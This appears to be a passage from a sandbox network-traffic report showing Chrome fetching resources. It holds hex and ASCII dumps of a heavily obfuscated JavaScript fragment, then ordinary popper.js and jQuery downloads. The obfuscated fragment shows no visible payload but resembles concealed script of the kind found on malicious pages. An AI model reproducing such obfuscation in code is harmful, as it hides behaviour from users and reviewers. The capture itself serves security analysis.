2024-08-28 11:52:53 UTC	8184	IN	Data Raw: 32 38 32 28 30 78 31 64 64 31 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 31 32 65 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 38 38 31 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 62 66 61 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 34 32 63 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 34 61 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 62 32 33 29 29 2b 28 5f 30 78 34 35 65 32 38 32 28 30 78 32 34 33 31 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 39 66 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 64 63 30 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 37 37 63 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 61 39 38 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 36 32 61 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 61 31 61 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 61 Data Ascii: 282(0x1dd1)+_0x45e282(0x212e)+_0x45e282(0x1881)+_0x45e282(0xbfa)+_0x45e282(0x42c)+_0x45e282(0x24a4)+_0x45e282(0xb23))+(_0x45e282(0x2431)+_0x45e282(0x9f4)+_0x45e282(0xdc0)+_0x45e282(0x277c)+_0x45e282(0x1a98)+_0x45e282(0x162a)+_0x45e282(0xa1a)+_0x45e282(0xa
2024-08-28 11:52:53 UTC	8184	IN	Data Raw: 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 38 62 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 35 34 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 61 33 36 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 34 34 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 33 33 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 39 33 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 37 61 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 63 33 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 37 37 61 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 33 64 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 36 36 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 64 39 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 62 64 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 38 38 29 2b 5f 30 78 34 35 65 32 Data Ascii: +_0x45e282(0x18b5)+_0x45e282(0x544)+_0x45e282(0x2a36)+_0x45e282(0x244f)+_0x45e282(0x33f)+_0x45e282(0x2939)+_0x45e282(0x17a9)+_0x45e282(0x2c3)+_0x45e282(0x177a)+_0x45e282(0x23d9)+_0x45e282(0x2665)+_0x45e282(0xd99)+_0x45e282(0x2bd5)+_0x45e282(0x288)+_0x45e2
2024-08-28 11:52:53 UTC	8184	IN	Data Raw: 65 32 38 32 28 30 78 36 63 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 37 36 33 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 35 32 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 35 63 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 64 62 36 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 33 62 64 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 32 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 36 33 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 63 39 61 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 35 32 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 66 61 65 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 35 65 39 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 65 32 37 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 35 35 65 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 31 61 Data Ascii: e282(0x6c5)+_0x45e282(0x763)+_0x45e282(0x52f)+_0x45e282(0x25c7)+_0x45e282(0xdb6)+_0x45e282(0x23bd)+_0x45e282(0x227)+_0x45e282(0x1639)+_0x45e282(0x2c9a)+_0x45e282(0x1527)+_0x45e282(0xfae)+_0x45e282(0x15e9)+_0x45e282(0x1e27)+_0x45e282(0x55e)+_0x45e282(0x21a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49755	104.17.25.14	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:53 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:53 UTC	959	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:53 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1286976 Expires: Mon, 18 Aug 2025 11:52:53 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AzXpkgRDi0VZL0UMY2CpZ7JbSw5t8LYyRp7gY9bUQNYSIhyZexrlRMdFrAdEA0%2BzD2IX0bAj4LBTtOAxRPme%2FumvCbpPwfuSzeaCLu6eWWnbpQdBq2Ocr3oqhksv161Bl%2FGmoy73"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ba4190639e50cc1-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:53 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49756	151.101.194.137	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:53 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:53 UTC	610	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 693483 Date: Wed, 28 Aug 2024 11:52:53 GMT X-Served-By: cache-lga21963-LGA, cache-nyc-kteb1890086-NYC X-Cache: HIT, HIT X-Cache-Hits: 46, 0 X-Timer: S1724845973.466123,VS0,VE1 Vary: Accept-Encoding
2024-08-28 11:52:53 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-08-28 11:52:53 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-08-28 11:52:53 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-08-28 11:52:53 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
